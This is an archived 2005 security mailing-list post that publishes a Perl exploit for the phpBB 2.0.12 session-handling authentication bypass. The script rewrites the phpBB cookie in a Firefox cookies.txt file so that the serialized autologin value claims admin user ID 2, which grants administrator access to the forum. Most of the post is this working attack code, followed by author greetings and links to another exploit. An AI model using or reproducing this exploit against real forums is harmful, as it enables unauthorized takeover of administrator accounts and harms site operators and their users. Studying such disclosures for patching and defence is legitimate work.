[EXPL] phpBB UID Exploit (Perl exploit)

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To: list@securiteam.com
Date: 17 Mar 2005 10:22:38 +0200

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  phpBB UID Exploit (Perl exploit)
------------------------------------------------------------------------

SUMMARY

" <http://www.phpbb.com/> phpBB is a high powered, fully scalable, and
highly customizable Open Source bulletin board package."

This exploit modifies the UID field in the cookies.txt file of Mozilla's
browsers in such a way that when the browser will try to access the phpBB
forum it will be granted access with the user_id provided rather than the
original one.

DETAILS

Exploit:
#!/usr/bin/perl

# phpBB 2.0.12 Session Handling Administrator Authentication
# Bypass EXPLOIT
# written by phuket
#
# The discoverer of this bug is unknown, says "Paiserist" who wrote a C
exploit
for this bug.
# http://packetstormsecurity.org/0503-exploits/phpbbsession.c
#
#

# I tested this code with Firefox on my linux box, I do not know if it
works with mozilla or on #windows
# $url is the name of the cookie ( www.phpbb.com / $url= phpbb.com ) Look
at cookies.txt for the name of the cookie

# I wrote this exploit after reading "phpBB 2.0.12 Session Handling
Administrator Authentication
# Bypass -SIMPLIFIED-" By PPC^Rebyte
# and it is based on his code
#
# Sorry for my bad english :/

$file = "/////cookies.txt" ; # path to your cookies.txt
$url = $ARGV[0];

open (FILE , '<'."$file" ) or die ('File does not exist') ; # path to
your
cookies.txt file
@cookie= <FILE> ;
close FILE ;

$exploit = "a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs".
"%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D";

foreach $i (@cookie)
{
if ($i=~/$url/) {

$i =~ s/a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22".
"%3Bs%3A6%3A%22userid%22%3Bs%3A(.*?)%3A%22(.*?)%22%3B%7D/$exploit/;
print "OK\n" ;
}

}

open (FILE , '>'."$file") or die ('Can not write Cookie') ; ;
print FILE @cookie ;
close FILE ;

#greetings to Jubeltrubel,Julien S.,crosbow,XFlorian,Nibble,Trasher and
Invi ;)
#thx to Paiserist,PPC^Rebyte and to the unknown discoverer of this bug :)
#phuket

EOF

ADDITIONAL INFORMATION

The information has been provided by <mailto:thephuket@spymac.com> The
Phuket.
Another exploit for the phpBB UID vulnerability can be found:
<http://www.securiteam.com/exploits/5KP0C0UF5M.html>
http://www.securiteam.com/exploits/5KP0C0UF5M.html

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